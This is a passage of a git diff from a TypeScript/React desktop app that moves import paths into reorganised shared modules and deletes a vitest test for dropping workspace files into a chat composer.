useAppStore } from '@/store/index' import { useAllWorktrees } from '@/store/slices/worktrees/listing/use-worktree-catalog' -import { getDefaultRepoHookSettings } from '../../../../../shared/constants' +import { getDefaultRepoHookSettings } from '../../../../../shared/orca-profiles/constants' import { isGitRepoKind } from '../../../../../shared/repository/repo-kind' import type { RepoHookSettings } from '../../../../../shared/workspace-setup/orca-yaml-hook-types' import type { Repo } from '../../../../../shared/repository/repo-types' diff --git a/src/renderer/src/components/feature-wall/setup/feature-wall-setup-progress.ts b/src/renderer/src/components/feature-wall/setup/feature-wall-setup-progress.ts index c3388485927..615e1ef838a 100644 --- a/src/renderer/src/components/feature-wall/setup/feature-wall-setup-progress.ts +++ b/src/renderer/src/components/feature-wall/setup/feature-wall-setup-progress.ts @@ -4,7 +4,7 @@ import { FEATURE_WALL_SETUP_STEPS, type FeatureWallSetupStepId } from '../../../../../shared/feature-education/explore/feature-wall-setup-steps' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { Worktree } from '../../../../../shared/worktree/types' import { selectWorktreesByRepo } from '../../../store/workspaces/catalog/workspace-record-fields' diff --git a/src/renderer/src/components/feature-wall/tour/FeatureWallBody.tsx b/src/renderer/src/components/feature-wall/tour/FeatureWallBody.tsx index 29bd210118c..c72e19e1f55 100644 --- a/src/renderer/src/components/feature-wall/tour/FeatureWallBody.tsx +++ b/src/renderer/src/components/feature-wall/tour/FeatureWallBody.tsx @@ -4,7 +4,7 @@ import type { FeatureWallOpenSourceTelemetry } from '../../../../../shared/telem import type { AgentsStep } from '../../../../../shared/feature-education/explore/agents-orchestration-steps' import type { WorkbenchStep } from '../../../../../shared/feature-education/explore/workbench-steps' import type { ReviewStep } from '../../../../../shared/feature-education/explore/review-steps' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { InstalledAgentSkillState } from '@/hooks/skills/discovery/useInstalledAgentSkills' import { cn } from '@/lib/class-names' import { PreviewMedia, RelatedFeatures } from './FeatureWallPreview' diff --git a/src/renderer/src/components/feature-wall/tour/FeatureWallTourPanel.tsx b/src/renderer/src/components/feature-wall/tour/FeatureWallTourPanel.tsx index 11a22b2c689..0b4a75d4e82 100644 --- a/src/renderer/src/components/feature-wall/tour/FeatureWallTourPanel.tsx +++ b/src/renderer/src/components/feature-wall/tour/FeatureWallTourPanel.tsx @@ -12,7 +12,7 @@ import type { ReviewStepId } from '../../../../../shared/feature-education/explore/review-steps' import type { FeatureWallOpenSourceTelemetry } from '../../../../../shared/telemetry/schemas/telemetry-property-schemas' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { WorkbenchStep, WorkbenchStepId diff --git a/src/renderer/src/components/feature-wall/tour/KeepAwakeCard.tsx b/src/renderer/src/components/feature-wall/tour/KeepAwakeCard.tsx index 12d8af3dce7..f24ebfa231c 100644 --- a/src/renderer/src/components/feature-wall/tour/KeepAwakeCard.tsx +++ b/src/renderer/src/components/feature-wall/tour/KeepAwakeCard.tsx @@ -4,7 +4,7 @@ import { getAgentAwakeDescription, getAgentAwakeTitle } from '../../settings/agents/behavior/agent-awake-copy' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { useTranslate } from '@/i18n/use-translate' import { computerAwakeSettingsForMode, diff --git a/src/renderer/src/components/file-actions/OpenInContextSubmenu.tsx b/src/renderer/src/components/file-actions/OpenInContextSubmenu.tsx index 8f6257f3db0..0f8a8bcdea2 100644 --- a/src/renderer/src/components/file-actions/OpenInContextSubmenu.tsx +++ b/src/renderer/src/components/file-actions/OpenInContextSubmenu.tsx @@ -13,8 +13,8 @@ import { getRouteForLocalPathOpenOwner } from '@/lib/files/os-open/local-path-op import { OpenInApplicationIcon } from '@/lib/files/os-open/open-in-app-catalog' import { getWorkspaceEditorSshHost } from '@/components/file-actions/workspace-editor-ssh-target' import { NO_OPEN_IN_APPLICATIONS } from '@/lib/files/os-open/open-in-application-selection' -import type { ExecutionHostId } from '../../../../shared/execution-host' -import type { OpenInApplication } from '../../../../shared/ui-chrome-types' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' +import type { OpenInApplication } from '../../../../shared/ui-chrome/ui-chrome-types' import { useTranslate } from '@/i18n/use-translate' import { getOpenInEntryAvailability, diff --git a/src/renderer/src/components/file-actions/workspace-editor-ssh-target.ts b/src/renderer/src/components/file-actions/workspace-editor-ssh-target.ts index 6b3136e2284..a81696c7cab 100644 --- a/src/renderer/src/components/file-actions/workspace-editor-ssh-target.ts +++ b/src/renderer/src/components/file-actions/workspace-editor-ssh-target.ts @@ -1,4 +1,4 @@ -import { isRuntimeOwnedSshTargetId } from '../../../../shared/execution-host' +import { isRuntimeOwnedSshTargetId } from '../../../../shared/execution-host/execution-host' import { getRuntimeSshAccess, type PublicKnownRuntimeEnvironment diff --git a/src/renderer/src/components/floating-terminal/FloatingTerminalPanelSurface.tsx b/src/renderer/src/components/floating-terminal/FloatingTerminalPanelSurface.tsx index 550aa61e384..2507a1b09a6 100644 --- a/src/renderer/src/components/floating-terminal/FloatingTerminalPanelSurface.tsx +++ b/src/renderer/src/components/floating-terminal/FloatingTerminalPanelSurface.tsx @@ -4,7 +4,7 @@ import { WorkspaceTabDragLayer } from '@/components/tab-group/WorkspaceTabDragLa import { WorkspacePaneOverlayLayers } from '@/components/WorkspacePaneOverlayLayers' import { isTerminalImeInputContextRefreshing } from '@/components/terminal-pane/input/ime/terminal-ime-input-context-refresh' import { buildDuplicatedBrowserTabOptions } from '@/lib/browser/workspace/duplicate-browser-tab-options' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/workspace/identity/floating-workspace-id' import { FloatingTerminalEmptyState } from './FloatingTerminalEmptyState' import { renderFloatingTerminalOrchestrationCard } from './orchestration/FloatingTerminalOrchestrationCard' import { FloatingTerminalOrchestrationDialog } from './orchestration/FloatingTerminalOrchestrationDialog' diff --git a/src/renderer/src/components/floating-terminal/FloatingTerminalWindowControls.tsx b/src/renderer/src/components/floating-terminal/FloatingTerminalWindowControls.tsx index a5900c20916..ee8e98948f6 100644 --- a/src/renderer/src/components/floating-terminal/FloatingTerminalWindowControls.tsx +++ b/src/renderer/src/components/floating-terminal/FloatingTerminalWindowControls.tsx @@ -9,7 +9,7 @@ import { launchAgentInNewTabWithOutcome } from '@/lib/agent-session/launch/new-t import { createNonSecureContextUuid } from '../../../../shared/identifiers/non-secure-context-uuid' import { useAppStore } from '@/store/index' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/workspace/identity/floating-workspace-id' import { DEFAULT_DISABLED_TUI_AGENTS, isTuiAgentEnabled diff --git a/src/renderer/src/components/floating-terminal/shortcuts/use-floating-terminal-global-shortcut-listeners.ts b/src/renderer/src/components/floating-terminal/shortcuts/use-floating-terminal-global-shortcut-listeners.ts index 0978bda67ec..5cde3261137 100644 --- a/src/renderer/src/components/floating-terminal/shortcuts/use-floating-terminal-global-shortcut-listeners.ts +++ b/src/renderer/src/components/floating-terminal/shortcuts/use-floating-terminal-global-shortcut-listeners.ts @@ -13,7 +13,7 @@ import type { FloatingTerminalPanelLocalState } from '../state/use-floating-term import type { FloatingTerminalPanelShortcuts } from './use-floating-terminal-panel-shortcuts' import { addAppKeyListener, removeAppKeyListener } from '@/lib/keyboard/app-keyboard-router' import { moveActiveTab } from '@/lib/workspace/tabs/workspace-tab-commands' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' const FLOATING_TAB_SWITCH_ACTIONS: readonly KeybindingActionId[] = [ 'tab.nextSameType', diff --git a/src/renderer/src/components/floating-terminal/shortcuts/use-floating-terminal-panel-shortcuts.ts b/src/renderer/src/components/floating-terminal/shortcuts/use-floating-terminal-panel-shortcuts.ts index acb808450e9..f5571bc9278 100644 --- a/src/renderer/src/components/floating-terminal/shortcuts/use-floating-terminal-panel-shortcuts.ts +++ b/src/renderer/src/components/floating-terminal/shortcuts/use-floating-terminal-panel-shortcuts.ts @@ -12,7 +12,7 @@ import { requestTerminalTabRename } from '@/components/tab-bar/terminal-tab-rena import { resolveTerminalAgentTabShortcut } from '@/components/terminal-agent-tab-shortcut' import { launchFloatingWorkspaceAgentShortcut } from '@/components/agent-tab-shortcut-launch' import { useAppStore } from '@/store/index' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { keybindingMatchesAction } from '../../../../../shared/keybindings/matching' import type { KeybindingContext, diff --git a/src/renderer/src/components/floating-terminal/state/floating-terminal-panel-inputs.ts b/src/renderer/src/components/floating-terminal/state/floating-terminal-panel-inputs.ts index 02d7e4640ea..c7bca7de096 100644 --- a/src/renderer/src/components/floating-terminal/state/floating-terminal-panel-inputs.ts +++ b/src/renderer/src/components/floating-terminal/state/floating-terminal-panel-inputs.ts @@ -1,5 +1,5 @@ import type { AppState } from '@/store/types' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' type FloatingTerminalPanelState = Pick< AppState, diff --git a/src/renderer/src/components/floating-terminal/state/use-floating-terminal-panel-store-state.ts b/src/renderer/src/components/floating-terminal/state/use-floating-terminal-panel-store-state.ts index 732f632f9b0..b7eac3d87e0 100644 --- a/src/renderer/src/components/floating-terminal/state/use-floating-terminal-panel-store-state.ts +++ b/src/renderer/src/components/floating-terminal/state/use-floating-terminal-panel-store-state.ts @@ -1,6 +1,6 @@ import { getClientCreationActionPolicy } from '@/lib/workspace/creation/surface-policy/client-creation-action-policy' import { useAppStore } from '@/store/index' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { selectFloatingTerminalPanelInputs } from './floating-terminal-panel-inputs' export function useFloatingTerminalPanelStoreState() { diff --git a/src/renderer/src/components/floating-terminal/trigger/FloatingTerminalIconContextMenu.tsx b/src/renderer/src/components/floating-terminal/trigger/FloatingTerminalIconContextMenu.tsx index f1b6dbbf070..a56a22fc9c3 100644 --- a/src/renderer/src/components/floating-terminal/trigger/FloatingTerminalIconContextMenu.tsx +++ b/src/renderer/src/components/floating-terminal/trigger/FloatingTerminalIconContextMenu.tsx @@ -8,7 +8,7 @@ import { DropdownMenuTrigger } from '@/components/ui/dropdown-menu' import { useAppStore } from '@/store/index' -import type { FloatingTerminalTriggerLocation } from '../../../../../shared/ui-chrome-types' +import type { FloatingTerminalTriggerLocation } from '../../../../../shared/ui-chrome/ui-chrome-types' import { useTranslate } from '@/i18n/use-translate' import { useUiLanguageRevision } from '@/i18n/use-ui-language-revision' diff --git a/src/renderer/src/components/floating-terminal/workspace/floating-workspace-surface-model.ts b/src/renderer/src/components/floating-terminal/workspace/floating-workspace-surface-model.ts index 239d3428e02..777f7c0ea16 100644 --- a/src/renderer/src/components/floating-terminal/workspace/floating-workspace-surface-model.ts +++ b/src/renderer/src/components/floating-terminal/workspace/floating-workspace-surface-model.ts @@ -1,4 +1,4 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import type { TabGroupLayoutNode } from '../../../../../shared/workspace-layout/tab-groups/tab-types' import type { AppState } from '@/store/types' diff --git a/src/renderer/src/components/floating-terminal/workspace/floating-workspace-tab-creation.ts b/src/renderer/src/components/floating-terminal/workspace/floating-workspace-tab-creation.ts index d822f7e0271..dbe9f43e846 100644 --- a/src/renderer/src/components/floating-terminal/workspace/floating-workspace-tab-creation.ts +++ b/src/renderer/src/components/floating-terminal/workspace/floating-workspace-tab-creation.ts @@ -1,4 +1,4 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { createUntitledMarkdownFileWithTemplateSelection } from '../../../lib/editor/file-operations/create-untitled-markdown' import { getConnectionId } from '../../../lib/workspace/ownership/connection-context' import { detectLanguage } from '../../../../../shared/editor-language/editor-language-detect' diff --git a/src/renderer/src/components/floating-terminal/workspace/floating-workspace-terminal-actions.ts b/src/renderer/src/components/floating-terminal/workspace/floating-workspace-terminal-actions.ts index 21e79c4df21..f61383e516d 100644 --- a/src/renderer/src/components/floating-terminal/workspace/floating-workspace-terminal-actions.ts +++ b/src/renderer/src/components/floating-terminal/workspace/floating-workspace-terminal-actions.ts @@ -1,4 +1,4 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import type { BrowserWorkspace } from '../../../../../shared/browser/workspaces/browser-workspace-types' import type { TabGroup } from '../../../../../shared/workspace-layout/tab-groups/tab-types' import { getGroupVisibleTabOrder } from '@/components/tab-bar/group-tab-order' diff --git a/src/renderer/src/components/floating-terminal/workspace/open-document-in-floating-workspace.ts b/src/renderer/src/components/floating-terminal/workspace/open-document-in-floating-workspace.ts index 91f38b0a9cb..dadd8c4baa8 100644 --- a/src/renderer/src/components/floating-terminal/workspace/open-document-in-floating-workspace.ts +++ b/src/renderer/src/components/floating-terminal/workspace/open-document-in-floating-workspace.ts @@ -1,5 +1,5 @@ import type { FileDocument } from '../../../../../shared/file-listing/file-document' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import type { EditorFilesSlice } from '@/store/slices/editor/types/editor-files-slice' import { detectLanguage } from '../../../../../shared/editor-language/editor-language-detect' diff --git a/src/renderer/src/components/floating-terminal/workspace/use-floating-terminal-close-actions.ts b/src/renderer/src/components/floating-terminal/workspace/use-floating-terminal-close-actions.ts index df5d3edf317..229b4380277 100644 --- a/src/renderer/src/components/floating-terminal/workspace/use-floating-terminal-close-actions.ts +++ b/src/renderer/src/components/floating-terminal/workspace/use-floating-terminal-close-actions.ts @@ -3,7 +3,7 @@ import { resolveGroupTabFromVisibleId } from '@/components/tab-group/tab-group-v import { useTabGroupCloseScopeCommands } from '@/components/tab-group/useTabGroupCloseScopeCommands' import { useTabGroupTabCloseCommands } from '@/components/tab-group/useTabGroupTabCloseCommands' import { dispatchWorkspaceTabCommand } from '@/lib/workspace/tabs/workspace-tab-commands' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import type { FloatingWorkspaceChromeModel } from './use-floating-workspace-chrome-model' type FloatingTerminalCloseActionsInput = Pick< diff --git a/src/renderer/src/components/floating-terminal/workspace/use-floating-terminal-create-actions.ts b/src/renderer/src/components/floating-terminal/workspace/use-floating-terminal-create-actions.ts index 7cf301da2b3..cf64619671f 100644 --- a/src/renderer/src/components/floating-terminal/workspace/use-floating-terminal-create-actions.ts +++ b/src/renderer/src/components/floating-terminal/workspace/use-floating-terminal-create-actions.ts @@ -10,7 +10,7 @@ import { focusTerminalTabSurface } from '@/components/terminal-pane/input/focus/ import { createNonSecureContextUuid as createBrowserUuid } from '../../../../../shared/identifiers/non-secure-context-uuid' import { translate } from '@/i18n/i18n' import { useAppStore } from '@/store/index' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import type { FloatingWorkspaceChromeModel } from './use-floating-workspace-chrome-model' import type { FloatingTerminalPanelLocalState } from '../state/use-floating-terminal-panel-local-state' import type { FloatingTerminalPanelStoreState } from '../state/use-floating-terminal-panel-store-state' diff --git a/src/renderer/src/components/floating-terminal/workspace/use-floating-workspace-chrome-model.ts b/src/renderer/src/components/floating-terminal/workspace/use-floating-workspace-chrome-model.ts index dcf7908edd2..4269161617a 100644 --- a/src/renderer/src/components/floating-terminal/workspace/use-floating-workspace-chrome-model.ts +++ b/src/renderer/src/components/floating-terminal/workspace/use-floating-workspace-chrome-model.ts @@ -4,7 +4,7 @@ import { useShallow } from 'zustand/react/shallow' import { useAppStore } from '@/store/index' import { useTabGroupWorkspaceModel } from '@/components/tab-group/useTabGroupWorkspaceModel' import { resolveGroupTabFromVisibleId } from '@/components/tab-group/tab-group-visible-id' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { resolveFloatingWorkspaceSurfaceModel } from './floating-workspace-surface-model' const EMPTY_TERMINAL_TABS: readonly TerminalTab[] = [] diff --git a/src/renderer/src/components/github-project/ProjectViewWrapper.tsx b/src/renderer/src/components/github-project/ProjectViewWrapper.tsx index 1c5688f6dca..f05b3ba6049 100644 --- a/src/renderer/src/components/github-project/ProjectViewWrapper.tsx +++ b/src/renderer/src/components/github-project/ProjectViewWrapper.tsx @@ -21,7 +21,7 @@ import type { GitHubProjectFieldMutationValue, GitHubProjectRow } from '../../../../shared/github/projects/project-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { taskSourceRuntimeTarget } from '@/lib/work-items/task-source-runtime-target' import { openAppHttpLink } from '@/lib/browser/navigation/app-http-link-open' diff --git a/src/renderer/src/components/github-project/row-actions/project-work-item.ts b/src/renderer/src/components/github-project/row-actions/project-work-item.ts index 91fa32e5f9a..c6965687cc0 100644 --- a/src/renderer/src/components/github-project/row-actions/project-work-item.ts +++ b/src/renderer/src/components/github-project/row-actions/project-work-item.ts @@ -1,7 +1,7 @@ import { githubProjectHost } from '../../../../../shared/github/projects/project-identity' import type { GitHubProjectRow } from '../../../../../shared/github/projects/project-types' import type { GitHubWorkItem } from '../../../../../shared/github/work-items/work-item-types' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { RepoHostTarget } from '../../../../../shared/repository/repo-host-identity' export function buildProjectWorkItem( diff --git a/src/renderer/src/components/host-row-icon.tsx b/src/renderer/src/components/host-row-icon.tsx index 7e7d519f60a..8f5d00471c4 100644 --- a/src/renderer/src/components/host-row-icon.tsx +++ b/src/renderer/src/components/host-row-icon.tsx @@ -1,7 +1,10 @@ import React from 'react' import { Monitor, Server } from 'lucide-react' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' /** The local machine isn't a server — a monitor glyph reads as "this computer". */ export function HostRowIcon({ diff --git a/src/renderer/src/components/jira-issue-mutation-queue.ts b/src/renderer/src/components/jira-issue-mutation-queue.ts index de77986a4b9..2ca114c7484 100644 --- a/src/renderer/src/components/jira-issue-mutation-queue.ts +++ b/src/renderer/src/components/jira-issue-mutation-queue.ts @@ -1,6 +1,6 @@ import { taskProviderErrorMessage } from '@/lib/work-items/task-provider-error-copy' import type { JiraIssue, JiraMutationResult } from '../../../shared/jira/jira-types' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { TaskSourceContext } from '../../../shared/work-items/task-source-context' import { getJiraReadIdentity } from '@/store/slices/jira/jira-read-coordination' import { diff --git a/src/renderer/src/components/managed-runtime/ManagedRuntimeRemoveDialog.tsx b/src/renderer/src/components/managed-runtime/ManagedRuntimeRemoveDialog.tsx index 5d6ed77f2f1..84948a2159b 100644 --- a/src/renderer/src/components/managed-runtime/ManagedRuntimeRemoveDialog.tsx +++ b/src/renderer/src/components/managed-runtime/ManagedRuntimeRemoveDialog.tsx @@ -1,7 +1,7 @@ import { useAppStateValue } from '@/store/retained-views/app-state-view' import { useTranslate } from '@/i18n/use-translate' import { selectExecutionHostDisplayLabel } from '@/runtime/hosts/display/execution-host-display-label' -import { toRuntimeExecutionHostId } from '../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { RuntimeClientTarget } from '../../../../shared/remote-runtime/host-catalog/runtime-client-target' import { Button } from '../ui/button' import { diff --git a/src/renderer/src/components/native-chat-recovery/integration/native-chat-resume-modal.test-support.tsx b/src/renderer/src/components/native-chat-recovery/integration/native-chat-resume-modal.test-support.tsx index 583cc5cd4d9..5594ccbe934 100644 --- a/src/renderer/src/components/native-chat-recovery/integration/native-chat-resume-modal.test-support.tsx +++ b/src/renderer/src/components/native-chat-recovery/integration/native-chat-resume-modal.test-support.tsx @@ -4,7 +4,7 @@ import { toast } from 'sonner' import { createRoot, type Root } from 'react-dom/client' import { afterEach, beforeEach, vi, type Mock } from 'vitest' import { useAppStore } from '../../../store/index' -import { getDefaultSettings } from '../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' import type { AgentSessionStatusEvent, AgentSessionStatusSummary diff --git a/src/renderer/src/components/native-chat-recovery/tree/NativeChatResumeOnRestartGroups.tsx b/src/renderer/src/components/native-chat-recovery/tree/NativeChatResumeOnRestartGroups.tsx index e7ef0f8cfd0..97147c2c779 100644 --- a/src/renderer/src/components/native-chat-recovery/tree/NativeChatResumeOnRestartGroups.tsx +++ b/src/renderer/src/components/native-chat-recovery/tree/NativeChatResumeOnRestartGroups.tsx @@ -12,7 +12,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { useAppStore } from '../../../store/index' import * as workspaceDisplay from './native-chat-resume-workspace-display' import { diff --git a/src/renderer/src/components/native-chat-recovery/tree/native-chat-resume-on-restart-grouping.ts b/src/renderer/src/components/native-chat-recovery/tree/native-chat-resume-on-restart-grouping.ts index 31ba799c2d6..6bbe3eb45bc 100644 --- a/src/renderer/src/components/native-chat-recovery/tree/native-chat-resume-on-restart-grouping.ts +++ b/src/renderer/src/components/native-chat-recovery/tree/native-chat-resume-on-restart-grouping.ts @@ -1,6 +1,9 @@ import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import type { AgentSessionWorkspaceKind } from '../../../../../shared/agent-session/lifecycle/agent-session-record' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { projectGroupIdFromRepoId } from '../../../../../shared/folder-workspaces/folder-workspace-worktree' import type { RepoIcon } from '../../../../../shared/repository/appearance/repo-icon' import type { AgentSessionRestartActivity } from '../../../../../shared/agent-session/lifecycle/stopping/agent-session-restart-activity' diff --git a/src/renderer/src/components/native-chat-recovery/tree/native-chat-resume-workspace-lookups.ts b/src/renderer/src/components/native-chat-recovery/tree/native-chat-resume-workspace-lookups.ts index 97f81fc6b9c..897b19f1fe5 100644 --- a/src/renderer/src/components/native-chat-recovery/tree/native-chat-resume-workspace-lookups.ts +++ b/src/renderer/src/components/native-chat-recovery/tree/native-chat-resume-workspace-lookups.ts @@ -12,7 +12,7 @@ import { composeWorktreeHostIdentity, getWorktreeHostIdentity } from '../../../../../shared/worktree/host-qualified-identity' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { useAppStore } from '../../../store/index' import type { ResumeWorkspaceGroup } from './native-chat-resume-on-restart-grouping' import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields' diff --git a/src/renderer/src/components/native-chat/appearance/native-chat-appearance-style.ts b/src/renderer/src/components/native-chat/appearance/native-chat-appearance-style.ts index 33f720b8111..9eeaf012de4 100644 --- a/src/renderer/src/components/native-chat/appearance/native-chat-appearance-style.ts +++ b/src/renderer/src/components/native-chat/appearance/native-chat-appearance-style.ts @@ -6,7 +6,7 @@ import { DEFAULT_NATIVE_CHAT_FONT_SIZE, resolveNativeChatAppearanceSettings } from '../../../../../shared/native-chat/native-chat-appearance-settings' -import { DEFAULT_APP_FONT_FAMILY } from '../../../../../shared/constants' +import { DEFAULT_APP_FONT_FAMILY } from '../../../../../shared/app-lifecycle/appearance/app-font-family' import { resolveConfiguredTerminalColors } from '../../../../../shared/terminal-themes/terminal-theme-selection' import { MATCH_TERMINAL_APP_THEME } from '../../../../../shared/plugins/appearance/plugin-theme-settings' import { buildFontFamily } from '../../../../../shared/styles/monospace-font-family' @@ -16,7 +16,7 @@ import { getSystemPrefersDark } from '@/lib/terminal/appearance/terminal-theme' import { isTerminalBackgroundLight } from '../../../../../shared/terminal-themes/terminal-title-contrast' import { useSystemPrefersDark } from '../../../hooks/theme/use-system-prefers-dark' import { terminalChatSelectionMix } from '@/app-shell/appearance/chat-selection-mix' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' export const NATIVE_CHAT_APPEARANCE_ROOT_CLASS = 'native-chat-appearance bg-chat-canvas' // One fixed bottom gap: the last row never hangs its controls; rail padding covers its 34px macOS overlay. diff --git a/src/renderer/src/components/native-chat/appearance/native-chat-appearance-write.ts b/src/renderer/src/components/native-chat/appearance/native-chat-appearance-write.ts index 7ca0c42b373..2d155e60e94 100644 --- a/src/renderer/src/components/native-chat/appearance/native-chat-appearance-write.ts +++ b/src/renderer/src/components/native-chat/appearance/native-chat-appearance-write.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { normalizeNativeChatAppearanceSettings, type NativeChatAppearanceSettings diff --git a/src/renderer/src/components/native-chat/attachments/intake/native-chat-composer-workspace-file-drop.test.tsx b/src/renderer/src/components/native-chat/attachments/intake/native-chat-composer-workspace-file-drop.test.tsx deleted file mode 100644 index 8e95b64346b..00000000000 --- a/src/renderer/src/components/native-chat/attachments/intake/native-chat-composer-workspace-file-drop.test.tsx +++ /dev/null @@ -1,301 +0,0 @@ -// @vitest-environment happy-dom - -import type * as AttachmentOwnerModule from '../uploads/native-chat-attachment-owner' -import { act, cleanup, fireEvent, render, screen } from '@testing-library/react' -import { useLayoutEffect, useRef, useState } from 'react' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { - encodeWorkspaceFilePaths, - WORKSPACE_FILE_PATHS_MIME, - WORKSPACE_FILE_PATH_MIME, - writeWorkspaceFileDragSource -} from '@/lib/files/drop/workspace-file-drag' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' - -import type { NativeChatComposerInput } from '../../composer/editor/native-chat-composer-input' -import { NativeChatComposerField } from '../../composer/editor/NativeChatComposerField' -import { useNativeChatComposerAttachments } from '../chips/use-native-chat-composer-attachments' -import { useNativeChatWorkspaceFileDrop } from './use-native-chat-workspace-file-drop' -import { useImeEnterGestureOwnership } from '@/lib/text-input/ime/ime-composition-keyboard-event' -import type * as RemoteRuntimePtyIdModule from '../../../../../../shared/remote-runtime/remote-runtime-pty-id' - -const testState: { - executionHostId: ExecutionHostId - ownerKind: 'local' | 'not-ready' | 'remote' - targetIsRemoteRuntime: boolean - store: { tabsByWorktree: Record } -} = vi.hoisted(() => ({ - executionHostId: 'local', - ownerKind: 'local', - targetIsRemoteRuntime: false, - store: { - tabsByWorktree: { - 'worktree-1': [{ id: 'terminal-tab-1' }] - } - } -})) - -vi.mock('@/store', () => { - const useAppStore = (selector: (state: typeof testState.store) => unknown) => - selector(testState.store) - useAppStore.getState = () => testState.store - return { useAppStore } -}) -vi.mock('@/lib/workspace/ownership/worktree-runtime-owner', () => ({ - getExecutionHostIdForWorktree: () => testState.executionHostId -})) -// Retain production notices and exports so mocks cannot hide stale wording or new behavior. -vi.mock('../uploads/native-chat-attachment-owner', async (importOriginal) => ({ - ...(await importOriginal()), - resolveNativeChatAttachmentHost: () => testState.executionHostId, - resolveNativeChatAttachmentOwnerForWorktree: () => ({ kind: testState.ownerKind }) -})) -vi.mock('@/i18n/i18n', () => ({ - translate: (_key: string, fallback: string) => fallback -})) -vi.mock( - '../../../../../../shared/remote-runtime/remote-runtime-pty-id', - async (importOriginal) => ({ - ...(await importOriginal()), - isRemoteRuntimePtyId: () => testState.targetIsRemoteRuntime - }) -) -vi.mock('../../composer/controls/NativeChatComposerActions', () => ({ - NativeChatComposerActions: () =>
